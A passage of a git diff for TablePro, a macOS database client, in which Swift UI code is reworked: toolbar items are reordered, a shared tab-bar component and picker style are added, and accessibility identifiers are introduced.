     /// `.sidebarTrackingSeparator`, so it lays out in the sidebar's titlebar strip and follows the
-    /// divider; the connection and its container are centred; Refresh, the commit verb, the Actions
-    /// pull-down and Safe Mode are the content run; the trailing-pane toggle closes the row.
+    /// divider; the connection and its container are centred; Refresh, the Actions pull-down, Safe
+    /// Mode and the commit verb are the content run; the trailing-pane toggle closes the row.
+    ///
+    /// The commit verb comes last because the HIG gives a critical action like Save "dedicated,
+    /// familiar, and visually distinct sections" and puts the primary action on the trailing side.
+    /// Measured on macOS 27, AppKit already gives it a glass section of its own there: Safe Mode's
+    /// menu indicator ends the shared capsule before it, so no `.space` is needed, and one drew
+    /// pixel-identical.
     ///
     /// A tracking separator divides the toolbar into pane-aligned sections; it does not align the
     /// items inside one. Everything after `.inspectorTrackingSeparator` therefore lays out from
@@ -444,9 +452,9 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate {
             database,
             .flexibleSpace,
             refresh,
-            saveChanges,
             actions,
             safeMode,
+            saveChanges,
         ]
         if #available(macOS 14.0, *) {
             items.append(.inspectorTrackingSeparator)
diff --git a/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarSymbols.swift b/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarSymbols.swift
index f12e17e0cb..648ce75104 100644
--- a/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarSymbols.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarSymbols.swift
@@ -5,17 +5,17 @@
 
 import Foundation
 
-/// The glyphs a window toolbar draws for the actions every toolbar shares.
+/// The glyphs a toolbar draws for the actions every toolbar shares, in both apps.
 ///
-/// From macOS 26 a toolbar item sits in its own glass container, and the HIG asks for symbols
-/// without borders there: the container is the border, so a circled glyph draws two. Earlier
-/// releases give an item no container, and the circled form is the one their own toolbars use.
-/// Each answer is a function of that one fact, so both forms can be tested on either release.
-internal enum ToolbarSymbols {
+/// From macOS 26 and iOS 26 a toolbar item sits in its own glass container, and the HIG asks for
+/// symbols without borders there: the container is the border, so a circled glyph draws two.
+/// Earlier releases give an item no container, and the circled form is the one their own toolbars
+/// use. Each answer is a function of that one fact, so both forms can be tested on either release.
+nonisolated internal enum ToolbarSymbols {
     internal static let commit = "checkmark"
 
     internal static var itemsHaveContainer: Bool {
-        if #available(macOS 26.0, *) {
+        if #available(macOS 26.0, iOS 26.0, *) {
             return true
         }
         return false
@@ -42,6 +42,17 @@ internal enum ToolbarSymbols {
         return itemsHaveContainer ? "line.3.horizontal.decrease" : "line.3.horizontal.decrease.circle"
     }
 
+    /// The filled disc is state, a sort in effect, as it is for the filter.
+    internal static func sort(
+        isActive: Bool = false,
+        itemsHaveContainer: Bool = ToolbarSymbols.itemsHaveContainer
+    ) -> String {
+        if isActive {
+            return "arrow.up.arrow.down.circle.fill"
+        }
+        return itemsHaveContainer ? "arrow.up.arrow.down" : "arrow.up.arrow.down.circle"
+    }
+
     internal static func disconnect(itemsHaveContainer: Bool = ToolbarSymbols.itemsHaveContainer) -> String {
         itemsHaveContainer ? "xmark" : "xmark.circle"
     }
diff --git a/apple/TablePro/Views/AIChat/AIChatWalkthroughBlockView.swift b/apple/TablePro/Views/AIChat/AIChatWalkthroughBlockView.swift
index f334fa115a..f417403b01 100644
--- a/apple/TablePro/Views/AIChat/AIChatWalkthroughBlockView.swift
+++ b/apple/TablePro/Views/AIChat/AIChatWalkthroughBlockView.swift
@@ -85,8 +85,8 @@ struct AIChatWalkthroughBlockView: View {
             Spacer()
             if walkthrough.hasDiff {
                 Picker(String(localized: "Diff layout"), selection: diffStyleBinding) {
-                    Text("Unified").tag(SqlWalkthroughDiffStyle.unified)
                     Text("Split").tag(SqlWalkthroughDiffStyle.split)
+                    Text("Unified").tag(SqlWalkthroughDiffStyle.unified)
                 }
                 .pickerStyle(.segmented)
                 .labelsHidden()
diff --git a/apple/TablePro/Views/Compare/CompareDetailView.swift b/apple/TablePro/Views/Compare/CompareDetailView.swift
index 2357e9fb06..4b8d88cb90 100644
--- a/apple/TablePro/Views/Compare/CompareDetailView.swift
+++ b/apple/TablePro/Views/Compare/CompareDetailView.swift
@@ -29,16 +29,15 @@ internal struct CompareDetailView: View {
     }
 
     private var paneSelector: some View {
-        Picker(String(localized: "Detail"), selection: $session.detailPane) {
+        PaneTabBar(
+            title: String(localized: "Detail"),
+            selection: $session.detailPane,
+            identifier: "compare-detail-tabs"
+        ) {
             ForEach(CompareDetailPane.allCases, id: \.self) { pane in
                 Text(pane.title).tag(pane)
             }
         }
-        .pickerStyle(.segmented)
-        .labelsHidden()
-        .fixedSize()
-        .padding(.vertical, 8)
-        .frame(maxWidth: .infinity)
     }
 
     @ViewBuilder
diff --git a/apple/TablePro/Views/Compare/CompareSyncWindowController.swift b/apple/TablePro/Views/Compare/CompareSyncWindowController.swift
index 26e514086e..bd19dc5070 100644
--- a/apple/TablePro/Views/Compare/CompareSyncWindowController.swift
+++ b/apple/TablePro/Views/Compare/CompareSyncWindowController.swift
@@ -153,7 +153,11 @@ internal final class CompareSyncWindowController: NSWindowController,
     private func installToolbar(on window: NSWindow) {
         let toolbar = NSToolbar(identifier: "com.TablePro.CompareSyncToolbar")
         toolbar.delegate = self
-        toolbar.displayMode = .iconAndLabel
+        /// Icon only, the default every other TablePro window and the system apps ship. The source
+        /// and target items still read as words, since an item's title draws in this mode, and a
+        /// user who wants labels sets Icon and Text from Customize Toolbar, which is autosaved and
+        /// restored over this default.
+        toolbar.displayMode = .iconOnly
         toolbar.allowsUserCustomization = true
         toolbar.autosavesConfiguration = true
         window.toolbar = toolbar
diff --git a/apple/TablePro/Views/Components/DiagramZoomToolbar.swift b/apple/TablePro/Views/Components/DiagramZoomToolbar.swift
index 1c74411f82..bbbe412086 100644
--- a/apple/TablePro/Views/Components/DiagramZoomToolbar.swift
+++ b/apple/TablePro/Views/Components/DiagramZoomToolbar.swift
@@ -59,11 +59,26 @@ struct DiagramZoomToolbar<Extras: View>: View {
         .buttonStyle(.borderless)
         .padding(.horizontal, 10)
         .padding(.vertical, 6)
-        .themeMaterial(.toolbar, .thinMaterial, in: Capsule())
-        .overlay(Capsule().strokeBorder(.quaternary, lineWidth: 0.5))
+        .modifier(DiagramZoomSurface())
     }
 
     private var zoomPercentage: String {
         "\(Int((viewport.magnification * 100).rounded()))%"
     }
 }
+
+/// Controls floating over content take Liquid Glass from macOS 26, as the Open Quickly panel and
+/// the chat's jump button already do. Glass draws its own edge and adapts to Reduce Transparency
+/// and Increase Contrast itself, so the hairline and the solid fallback belong to the material
+/// only.
+private struct DiagramZoomSurface: ViewModifier {
+    func body(content: Content) -> some View {
+        if #available(macOS 26.0, *) {
+            content.glassEffect(.regular, in: Capsule())
+        } else {
+            content
+                .themeMaterial(.toolbar, .thinMaterial, in: Capsule())
+                .overlay(Capsule().strokeBorder(.quaternary, lineWidth: 0.5))
+        }
+    }
+}
diff --git a/apple/TablePro/Views/Components/ViewSwitcherStyle.swift b/apple/TablePro/Views/Components/ViewSwitcherStyle.swift
new file mode 100644
index 0000000000..fc1aa5cc8f
--- /dev/null
+++ b/apple/TablePro/Views/Components/ViewSwitcherStyle.swift
@@ -0,0 +1,65 @@
+//
+//  ViewSwitcherStyle.swift
+//  TablePro
+//
+
+import SwiftUI
+
+/// Measured on macOS 27, small `.tabs` draws a flat track with a raised neutral thumb, the look Apple
+/// gives tab navigation, where small `.segmented` fills the thumb with the accent and reads as a value.
+///
+/// To accessibility it is then a tab group of tab buttons rather than a radio group of segments.
+private struct ViewSwitcherStyle: ViewModifier {
+    let controlSize: ControlSize
+
+    func body(content: Content) -> some View {
+        switcher(content)
+            .controlSize(controlSize)
+    }
+
+    @ViewBuilder
+    private func switcher(_ content: Content) -> some View {
+        #if SDK_MACOS_27
+        if #available(macOS 27.0, *) {
+            content.pickerStyle(.tabs)
+        } else {
+            content.pickerStyle(.segmented)
+        }
+        #else
+        content.pickerStyle(.segmented)
+        #endif
+    }
+}
+
+internal extension View {
+    /// For a picker that switches what a pane shows: small in a pane bar, status bar, viewer strip or
+    /// inspector, regular in a `PaneTabBar`. A picker that sets a value stays `.segmented`.
+    func viewSwitcherStyle(_ controlSize: ControlSize = .small) -> some View {
+        modifier(ViewSwitcherStyle(controlSize: controlSize))
+    }
+}
+
+/// The tab row a main-window pane switches its views with, centred over content that runs edge to
+/// edge. A bordered tab view boxes and insets the grids these panes hold; the tabs role is the
+/// control macOS 27 gives tab navigation, and before it the segmented control is.
+internal struct PaneTabBar<Selection: Hashable, Tabs: View>: View {
+    let title: String
+    @Binding var selection: Selection
+    let identifier: String
+    @ViewBuilder let tabs: () -> Tabs
+
+    /// Spacers rather than a fixed size, so a pane narrower than the tabs compresses them instead of
+    /// pushing the outer ones past its edges.
+    var body: some View {
+        HStack(spacing: 0) {
+            Spacer(minLength: 0)
+            Picker(title, selection: $selection, content: tabs)
+                .labelsHidden()
+                .viewSwitcherStyle(.regular)
+                .accessibilityIdentifier(identifier)
+            Spacer(minLength: 0)
+        }
+        .padding(.horizontal)
+        .padding(.vertical, 8)
+    }
+}
diff --git a/apple/TablePro/Views/DataFiles/DataFileContentView.swift b/apple/TablePro/Views/DataFiles/DataFileContentView.swift
index fe2a2dd979..e662a59e91 100644
--- a/apple/TablePro/Views/DataFiles/DataFileContentView.swift
+++ b/apple/TablePro/Views/DataFiles/DataFileContentView.swift
@@ -99,14 +99,15 @@ struct DataFileContentView: View {
 }
 
 struct DataFileSheetTabs: View {
-    static let segmentedSheetLimit = 8
+    /// The HIG's limit for tabs, past which it asks for a pop-up menu instead.
+    static let segmentedSheetLimit = 6
 
     @ObservedObject var controller: DataFileController
 
     var body: some View {
         HStack {
             if controller.sheets.count <= Self.segmentedSheetLimit {
-                picker.pickerStyle(.segmented)
+                picker.viewSwitcherStyle()
             } else {
                 picker.pickerStyle(.menu)
             }
@@ -130,5 +131,6 @@ struct DataFileSheetTabs: View {
         .labelsHidden()
         .fixedSize()
         .accessibilityLabel(String(localized: "Sheet"))
+        .accessibilityIdentifier("data-file-sheet-picker")
     }
 }
diff --git a/apple/TablePro/Views/DataFiles/DataFileWindowController.swift b/apple/TablePro/Views/DataFiles/DataFileWindowController.swift
index d558fda84b..945b1c42ef 100644
--- a/apple/TablePro/Views/DataFiles/DataFileWindowController.swift
+++ b/apple/TablePro/Views/DataFiles/DataFileWindowController.swift
@@ -12,7 +12,15 @@ extension NSToolbarItem.Identifier {
     static let dataFileColumns = NSToolbarItem.Identifier("com.TablePro.dataFile.columns")
     static let dataFileFilters = NSToolbarItem.Identifier("com.TablePro.dataFile.filters")
     static let dataFileSearch = NSToolbarItem.Identifier("com.TablePro.dataFile.search")
-    static let dataFileInspector = NSToolbarItem.Identifier("com.TablePro.dataFile.inspector")
+    /// AppKit's own inspector toggle from macOS 14, which draws the system glyph and sends
+    /// `toggleInspector(_:)` down the responder chain to the split controller. macOS 13 has no such
+    /// item, so it keeps an app-owned one.
+    static let dataFileInspector: NSToolbarItem.Identifier = {
+        if #available(macOS 14.0, *) {
+            return .toggleInspector
+        }
+        return NSToolbarItem.Identifier("com.TablePro.dataFile.inspector")
+    }()
 }
 
 @MainActor
@@ -110,6 +118,7 @@ final class DataFileWindowController: NSWindowController, NSWindowDelegate, NSTo
             return makeItem(itemIdentifier, label: String(localized: "Filters"), symbol: ToolbarSymbols.filter(),
                             action: #selector(DataFileSplitViewController.toggleFilterBar(_:)))
         case .dataFileInspector:
+            guard #unavailable(macOS 14.0) else { return nil }
             return makeItem(itemIdentifier, label: String(localized: "Inspector"), symbol: "sidebar.trailing",
                             action: #selector(DataFileSplitViewController.toggleInspector(_:)))
         case .dataFileColumns:
@@ -132,9 +141,18 @@ final class DataFileWindowController: NSWindowController, NSWindowDelegate, NSTo
         }
     }
 
+    /// The inspector toggle follows the order the main window uses: after the tracking separator
+    /// and a flexible space, so it sits over the inspector and stays at the trailing edge whether
+    /// the pane is open or not.
     func toolbarDefaultItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] {
-        [.dataFileAddRow, .dataFileDeleteRows, .dataFileColumns, .flexibleSpace, .dataFileFilters,
-         .dataFileSearch, .dataFileInspector]
+        var items: [NSToolbarItem.Identifier] = [
+            .dataFileAddRow, .dataFileDeleteRows, .dataFileColumns, .flexibleSpace, .dataFileFilters, .dataFileSearch,
+        ]
+        if #available(macOS 14.0, *) {
+            items.append(contentsOf: [.inspectorTrackingSeparator, .flexibleSpace])
+        }
+        items.append(.dataFileInspector)
+        return items
     }
 
     func toolbarAllowedItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] {
diff --git a/apple/TablePro/Views/Integrations/IntegrationsActivityLogPane.swift b/apple/TablePro/Views/Integrations/IntegrationsActivityLogPane.swift
index d23b875f30..099d929d3d 100644
--- a/apple/TablePro/Views/Integrations/IntegrationsActivityLogPane.swift
+++ b/apple/TablePro/Views/Integrations/IntegrationsActivityLogPane.swift
@@ -154,11 +154,13 @@ struct IntegrationsActivityLogPane: View {
         .disabled(isLoading)
     }
 
+    /// `sidebar.trailing` is the glyph AppKit's own inspector toggle draws, and unlike
+    /// `sidebar.right` it mirrors in a right-to-left layout.
     private var inspectorToggle: some View {
         Button {
             showInspector.toggle()
         } label: {
-            Label(String(localized: "Details"), systemImage: "sidebar.right")
+            Label(String(localized: "Details"), systemImage: "sidebar.trailing")
         }
         .help(String(localized: "Show details"))
     }
diff --git a/apple/TablePro/Views/ObjectSource/UserType/UserTypeTabView.swift b/apple/TablePro/Views/ObjectSource/UserType/UserTypeTabView.swift
index b3c5e3914e..c4a73e2b75 100644
--- a/apple/TablePro/Views/ObjectSource/UserType/UserTypeTabView.swift
+++ b/apple/TablePro/Views/ObjectSource/UserType/UserTypeTabView.swift
@@ -186,20 +186,15 @@ struct UserTypeTabView: View {
 
     private func editor(_ projection: UserTypeDraft.Projection) -> some View {
         VStack(spacing: 0) {
-            HStack {
-                Spacer()
-                Picker(String(localized: "Section"), selection: $model.section) {
-                    ForEach(sections, id: \.self) { section in
-                        Text(title(for: section)).tag(section)
-                    }
+            PaneTabBar(
+                title: String(localized: "Section"),
+                selection: $model.section,
+                identifier: "user-type-section-picker"
+            ) {
+                ForEach(sections, id: \.self) { section in
+                    Text(title(for: section)).tag(section)
                 }
-                .pickerStyle(.segmented)
-                .labelsHidden()
-                .fixedSize()
-                .accessibilityIdentifier("user-type-section-picker")
-                Spacer()
             }
-            .padding(.vertical, 8)
             Divider()
             Group {
                 switch model.section {
diff --git a/apple/TablePro/Views/QueryPlan/QueryPlanResultView.swift b/apple/TablePro/Views/QueryPlan/QueryPlanResultView.swift
index 4c47fa4b84..a84f4c1fba 100644
--- a/apple/TablePro/Views/QueryPlan/QueryPlanResultView.swift
+++ b/apple/TablePro/Views/QueryPlan/QueryPlanResultView.swift
@@ -187,8 +187,7 @@ struct QueryPlanResultView: View {
                         Text(mode.title).tag(mode)
                     }
                 }
-                .pickerStyle(.segmented)
-                .controlSize(.small)
+                .viewSwitcherStyle()
                 .fixedSize()
                 .labelsHidden()
                 .accessibilityIdentifier("query-plan-mode-picker")
diff --git a/apple/TablePro/Views/Results/BinaryValueViewerView.swift b/apple/TablePro/Views/Results/BinaryValueViewerView.swift
index 90c7343a20..43d6f59ed2 100644
--- a/apple/TablePro/Views/Results/BinaryValueViewerView.swift
+++ b/apple/TablePro/Views/Results/BinaryValueViewerView.swift
@@ -57,9 +57,10 @@ internal struct BinaryValueViewerView: View {
                     Text(String(localized: "Text")).tag(BinaryValueViewMode.text)
                     Text(String(localized: "Hex")).tag(BinaryValueViewMode.hex)
                 }
-                .pickerStyle(.segmented)
+                .viewSwitcherStyle()
                 .labelsHidden()
                 .fixedSize()
+                .accessibilityIdentifier("binary-viewer-mode-picker")
             } else {
                 Text(format.displayName)
                     .font(.headline)
diff --git a/apple/TablePro/Views/Results/CellImageViewer.swift b/apple/TablePro/Views/Results/CellImageViewer.swift
index 9e3212b212..a6e5fc24f0 100644
--- a/apple/TablePro/Views/Results/CellImageViewer.swift
+++ b/apple/TablePro/Views/Results/CellImageViewer.swift
@@ -61,9 +61,10 @@ internal struct CellImageViewer<Source: View>: View {
                 Text(String(localized: "Image")).tag(CellImageViewMode.image)
                 Text(sourceKind.label).tag(CellImageViewMode.source)
             }
-            .pickerStyle(.segmented)
+            .viewSwitcherStyle()
             .labelsHidden()
             .fixedSize()
+            .accessibilityIdentifier("image-viewer-mode-picker")
 
             Spacer()
 
diff --git a/apple/TablePro/Views/Results/JSONViewerView.swift b/apple/TablePro/Views/Results/JSONViewerView.swift
index e127cdb2d4..ea6bdf22c8 100644
--- a/apple/TablePro/Views/Results/JSONViewerView.swift
+++ b/apple/TablePro/Views/Results/JSONViewerView.swift
@@ -122,9 +122,10 @@ internal struct JSONViewerView: View {
                 Text("Text").tag(JSONViewMode.text)
                 Text("Tree").tag(JSONViewMode.tree)
             }
-            .pickerStyle(.segmented)
+            .viewSwitcherStyle()
             .labelsHidden()
             .fixedSize()
+            .accessibilityIdentifier("json-viewer-mode-picker")
             Spacer()
             if let onPopOut {
                 Button { onPopOut(displayText) } label: {
diff --git a/apple/TablePro/Views/Results/PhpViewerView.swift b/apple/TablePro/Views/Results/PhpViewerView.swift
index 937774f15d..df7030b9fb 100644
--- a/apple/TablePro/Views/Results/PhpViewerView.swift
+++ b/apple/TablePro/Views/Results/PhpViewerView.swift
@@ -75,9 +75,10 @@ internal struct PhpViewerView: View {
                 Text(String(localized: "Tree")).tag(PhpViewMode.tree)
                 Text(String(localized: "Raw")).tag(PhpViewMode.raw)
             }
-            .pickerStyle(.segmented)
+            .viewSwitcherStyle()
             .labelsHidden()
             .fixedSize()
+            .accessibilityIdentifier("php-viewer-mode-picker")
             Spacer()
             if let onPopOut {
                 Button { onPopOut(rawValue) } label: {
diff --git a/apple/TablePro/Views/Results/ResultStatusBar.swift b/apple/TablePro/Views/Results/ResultStatusBar.swift
index 35605095ad..07980fcdec 100644
--- a/apple/TablePro/Views/Results/ResultStatusBar.swift
+++ b/apple/TablePro/Views/Results/ResultStatusBar.swift
@@ -146,7 +146,7 @@ struct ResultStatusBar: View {
 
         if presentation.modeSwitcherIsSegmented {
             picker
-                .pickerStyle(.segmented)
+                .viewSwitcherStyle()
                 .fixedSize()
         } else {
             picker
diff --git a/apple/TablePro/Views/Results/ResultsJsonView.swift b/apple/TablePro/Views/Results/ResultsJsonView.swift
index 0c6b96b9d6..ef6606d4a9 100644
--- a/apple/TablePro/Views/Results/ResultsJsonView.swift
+++ b/apple/TablePro/Views/Results/ResultsJsonView.swift
@@ -123,9 +123,10 @@ internal struct ResultsJsonView: View {
                 Text("Text").tag(JSONViewMode.text)
                 Text("Tree").tag(JSONViewMode.tree)
             }
-            .pickerStyle(.segmented)
+            .viewSwitcherStyle()
             .labelsHidden()
             .fixedSize()
+            .accessibilityIdentifier("results-json-mode-picker")
 
             Spacer()
 
diff --git a/apple/TablePro/Views/RowInspector/FieldEditors/GeometryFieldView.swift b/apple/TablePro/Views/RowInspector/FieldEditors/GeometryFieldView.swift
index c59b5b409c..ec283a95de 100644
--- a/apple/TablePro/Views/RowInspector/FieldEditors/GeometryFieldView.swift
+++ b/apple/TablePro/Views/RowInspector/FieldEditors/GeometryFieldView.swift
@@ -83,9 +83,8 @@ internal struct GeometryFieldView: View {
                 Text(String(localized: "Text")).tag(Mode.text)
                 Text(String(localized: "Map")).tag(Mode.map)
             }
-            .pickerStyle(.segmented)
+            .viewSwitcherStyle()
             .labelsHidden()
-            .controlSize(.small)
             .fixedSize()
             .accessibilityIdentifier("inspector-geometry-mode")
 
diff --git a/apple/TablePro/Views/RowInspector/TrailingPaneHeaderView.swift b/apple/TablePro/Views/RowInspector/TrailingPaneHeaderView.swift
index 0f544c4ba3..9fe7349c6e 100644
--- a/apple/TablePro/Views/RowInspector/TrailingPaneHeaderView.swift
+++ b/apple/TablePro/Views/RowInspector/TrailingPaneHeaderView.swift
@@ -146,10 +146,9 @@ private struct TrailingPaneSurfacePicker: View {
                     .tag(segment)
             }
         }
-        .pickerStyle(.segmented)
+        .viewSwitcherStyle()
         .labelsHidden()
         .fixedSize()
-        .controlSize(.small)
         .accessibilityIdentifier("trailing-pane-surface")
     }
 
diff --git a/apple/TablePro/Views/Sidebar/SidebarScopeControl.swift b/apple/TablePro/Views/Sidebar/SidebarScopeControl.swift
index 7d2a4fe3b5..5a42170410 100644
--- a/apple/TablePro/Views/Sidebar/SidebarScopeControl.swift
+++ b/apple/TablePro/Views/Sidebar/SidebarScopeControl.swift
@@ -20,6 +20,12 @@ import AppKit
 /// The words fit in every language the app ships. Measured at the sidebar's 280pt minimum, which
 /// leaves the row 260pt inside its insets, the widest is Turkish at 238pt, English needs 158pt and
 /// Simplified Chinese 100pt.
+///
+/// On macOS 27 it takes the tabs role AppKit gives "tab-based navigation and content selection",
+/// at small size. Measured there, a regular control in a sidebar draws a glass capsule whatever
+/// its style or role; small with the tabs role draws a flat track with a neutral raised thumb.
+/// Small without the role would fill the thumb with the accent color, which marks a value choice,
+/// so earlier releases keep the regular control.
 @MainActor
 internal final class SidebarScopeControl: NSSegmentedControl {
     internal static let tabs: [SidebarTab] = [.tables, .favorites]
@@ -30,6 +36,12 @@ internal final class SidebarScopeControl: NSSegmentedControl {
         trackingMode = .selectOne
         segmentDistribution = .fillEqually
         controlSize = .regular
+        #if SDK_MACOS_27
+        if #available(macOS 27.0, *) {
+            role = .tabs
+            controlSize = .small
+        }
+        #endif
         for (index, tab) in Self.tabs.enumerated() {
             setLabel(Self.title(for: tab), forSegment: index)
         }
diff --git a/apple/TablePro/Views/Structure/CreateTableFormEditor.swift b/apple/TablePro/Views/Structure/CreateTableFormEditor.swift
index 604d8d0f48..0c44badea8 100644
--- a/apple/TablePro/Views/Structure/CreateTableFormEditor.swift
+++ b/apple/TablePro/Views/Structure/CreateTableFormEditor.swift
@@ -32,6 +32,33 @@ internal struct CreateTableFormEditor: View {
             let issues = form.issues(tableName: draft.tableName)
             let messages = [form.submissionError?.message].compactMap { $0 } + issues.map(\.qualifiedMessage)
             VStack(spacing: 0) {
+                PaneTabBar(
+                    title: String(localized: "View"),
+                    selection: $pane,
+                    identifier: "create-table-form-tabs"
+                ) {
+                    ForEach(CreateTableFormPane.allCases, id: \.self) { tab in
+                        Text(tab.displayName).tag(tab)
+                    }
+                }
+
+                Divider()
+
+                Group {
+                    switch pane {
+                    case .form:
+                        CreateTableFormView(draft: draft)
+                    case .preview:
+                        CreateTableFormPreview(
+                            preview: form.preview(tableName: draft.tableName, generate: generateStatements),
+                            databaseType: databaseType
+                        )
+                    }
+                }
+                .frame(maxWidth: .infinity, maxHeight: .infinity)
+
+                Divider()
+
                 HStack(spacing: 8) {
                     if let first = messages.first {
                         Label(first, systemImage: "exclamationmark.triangle.fill")
@@ -45,17 +72,6 @@ internal struct CreateTableFormEditor: View {
 
                     Spacer(minLength: 12)
 
-                    Picker(String(localized: "View"), selection: $pane) {
-                        ForEach(CreateTableFormPane.allCases, id: \.self) { pane in
-                            Text(pane.displayName).tag(pane)
-                        }
-                    }
-                    .pickerStyle(.segmented)
-                    .labelsHidden()
-                    .fixedSize()
-
-                    Spacer(minLength: 12)
-
                     Button(
                         isCreating ? String(localized: "Creating…") : String(localized: "Create Table"),
                         action: onCreate
@@ -66,19 +82,8 @@ internal struct CreateTableFormEditor: View {
                     .keyboardShortcut(.return, modifiers: .command)
                     .accessibilityIdentifier("create-table-commit")
                 }
-                .padding()
-
-                Divider()
-
-                switch pane {
-                case .form:
-                    CreateTableFormView(draft: draft)
-                case .preview:
-                    CreateTableFormPreview(
-                        preview: form.preview(tableName: draft.tableName, generate: generateStatements),
-                        databaseType: databaseType
-                    )
-                }
+                .padding(.horizontal)
+                .padding(.vertical, 8)
             }
         }
     }
diff --git a/apple/TablePro/Views/Structure/CreateTableView.swift b/apple/TablePro/Views/Structure/CreateTableView.swift
index 24f6604657..5c890d61a1 100644
--- a/apple/TablePro/Views/Structure/CreateTableView.swift
+++ b/apple/TablePro/Views/Structure/CreateTableView.swift
@@ -113,9 +113,12 @@ struct CreateTableView: View {
                 onCreate: { createTable() }
             )
         } else if draft.hasResolvedForm {
-            toolbar
+            tabBar
             Divider()
             tabContent
+                .frame(maxWidth: .infinity, maxHeight: .infinity)
+            Divider()
+            commitBar
         } else {
             Color.clear
         }
@@ -207,7 +210,7 @@ struct CreateTableView: View {
         return support.commentableTypes.contains(.table)
     }
 
-    // MARK: - Toolbar
+    // MARK: - Tabs
 
     private var availableTabs: [CreateTableTab] {
         var tabs = CreateTableTab.allCases
@@ -217,44 +220,39 @@ struct CreateTableView: View {
         return tabs
     }
 
-    private var isGridTab: Bool {
-        selectedTab != .sqlPreview
+    private var tabBar: some View {
+        PaneTabBar(
+            title: String(localized: "Structure"),
+            selection: $selectedTab.committingEdit(of: gridModel),
+            identifier: "create-table-tabs"
+        ) {
+            ForEach(availableTabs, id: \.self) { tab in
+                Text(tab.displayName).tag(tab)
+            }
+        }
     }
 
-    private var toolbar: some View {
-        let issues = draft.composed?.issues ?? draft.plan(for: connection.type).issues
+    // One grid serves the three grid tabs: the adapter repoints it as the selection moves.
+    @ViewBuilder
+    private var tabContent: some View {
+        switch selectedTab {
+        case .columns, .indexes, .foreignKeys:
+            structureGridPane
+        case .sqlPreview:
+            sqlPreviewView
+        }
+    }
 
-        return HStack(spacing: 8) {
-            Button(action: { gridAdapter.addRow() }) {
-                Image(systemName: "plus")
-                    .frame(width: 24, height: 24)
-            }
-            .help(String(localized: "Add Row"))
-            .accessibilityLabel(String(localized: "Add Row"))
-            .disabled(!isGridTab)
+    // MARK: - Commit Bar
 
-            Button(action: { gridAdapter.deleteRows(gridModel.selectedRowIDs) }) {
-                Image(systemName: "minus")
-                    .frame(width: 24, height: 24)
-            }
-            .help(String(localized: "Delete Selected"))
-            .accessibilityLabel(String(localized: "Delete Selected"))
-            .disabled(!isGridTab || gridModel.selection.isEmpty)
+    private var commitBar: some View {
+        let issues = draft.composed?.issues ?? draft.plan(for: connection.type).issues
 
+        return HStack(spacing: 8) {
             issueMessage(issues)
 
             Spacer(minLength: 12)
 
-            Picker(String(localized: "Structure"), selection: $selectedTab) {
-                ForEach(availableTabs, id: \.self) { tab in
-                    Text(tab.displayName).tag(tab)
-                }
-            }
-            .pickerStyle(.segmented)
-            .labelsHidden()
-
-            Spacer(minLength: 12)
-
             Button(isCreating ? String(localized: "Creating…") : String(localized: "Create Table")) {
                 createTable()
             }
@@ -264,7 +262,8 @@ struct CreateTableView: View {
             .keyboardShortcut(.return, modifiers: .command)
             .accessibilityIdentifier("create-table-commit")
         }
-        .padding()
+        .padding(.horizontal)
+        .padding(.vertical, 8)
     }
 
     @ViewBuilder
@@ -284,18 +283,6 @@ struct CreateTableView: View {
         issue.tab == structureTab ? issue.message : issue.qualifiedMessage
     }
 
-    // MARK: - Tab Content
-
-    @ViewBuilder
-    private var tabContent: some View {
-        switch selectedTab {
-        case .columns, .indexes, .foreignKeys:
-            structureGrid
-        case .sqlPreview:
-            sqlPreviewView
-        }
-    }
-
     // MARK: - Structure Grid
 
     private var structureTab: StructureTab {
@@ -307,8 +294,45 @@ struct CreateTableView: View {
         }
     }
 
-    private var structureGrid: some View {
-        DataGridView(model: gridModel)
+    private var structureGridPane: some View {
+        VStack(spacing: 0) {
+            DataGridView(model: gridModel)
+            Divider()
+            rowButtons(identifier: rowButtonsIdentifier)
+        }
+    }
+
+    private var rowButtonsIdentifier: String {
+        switch selectedTab {
+        case .columns, .sqlPreview: return "create-table-columns"
+        case .indexes: return "create-table-indexes"
+        case .foreignKeys: return "create-table-foreign-keys"
+        }
+    }
+
+    // Add and Delete act on the shown tab's rows, since the adapter follows the selected tab.
+    private func rowButtons(identifier: String) -> some View {
+        HStack(spacing: 8) {
+            Button(action: { gridAdapter.addRow() }) {
+                Image(systemName: "plus")
+                    .frame(width: 24, height: 24)
+            }
+            .help(String(localized: "Add Row"))
+            .accessibilityLabel(String(localized: "Add Row"))
+            .accessibilityIdentifier("\(identifier)-add")
+
+            Button(action: { gridAdapter.deleteRows(gridModel.selectedRowIDs) }) {
+                Image(systemName: "minus")
+                    .frame(width: 24, height: 24)
+            }
+            .help(String(localized: "Delete Selected"))
+            .accessibilityLabel(String(localized: "Delete Selected"))
+            .disabled(gridModel.selection.isEmpty)
+            .accessibilityIdentifier("\(identifier)-remove")
+
+            Spacer()
+        }
+        .padding(8)
     }
 
     // MARK: - SQL Preview
diff --git a/apple/TablePro/Views/Structure/TableStructureView.swift b/apple/TablePro/Views/Structure/TableStructureView.swift
index c7f4083ba7..30afcfce05 100644
--- a/apple/TablePro/Views/Structure/TableStructureView.swift
+++ b/apple/TablePro/Views/Structure/TableStructureView.swift
@@ -148,7 +148,7 @@ struct TableStructureView: View {
     var body: some View {
         VStack(spacing: 0) {
             tableCommentBar
-            toolbar
+            tabBar
             Divider()
             contentArea
                 .frame(maxWidth: .infinity, maxHeight: .infinity)
@@ -224,29 +224,23 @@ struct TableStructureView: View {
         }
     }
 
-    // MARK: - Toolbar
+    // MARK: - Tabs
 
     private var availableTabs: [StructureTab] {
         session.availableTabs
     }
 
-    private var toolbar: some View {
-        HStack {
-            Spacer()
-
-            Picker("Structure", selection: $session.selectedTab) {
-                ForEach(availableTabs, id: \.self) { tab in
-                    Text(tabLabel(for: tab)).tag(tab)
-                }
+    private var tabBar: some View {
+        PaneTabBar(
+            title: String(localized: "Structure"),
+            selection: $session.selectedTab.committingEdit(of: session.gridModel),
+            identifier: "structure-tab-picker"
+        ) {
+            ForEach(availableTabs, id: \.self) { tab in
+                Text(tabLabel(for: tab)).tag(tab)
             }
-            .pickerStyle(.segmented)
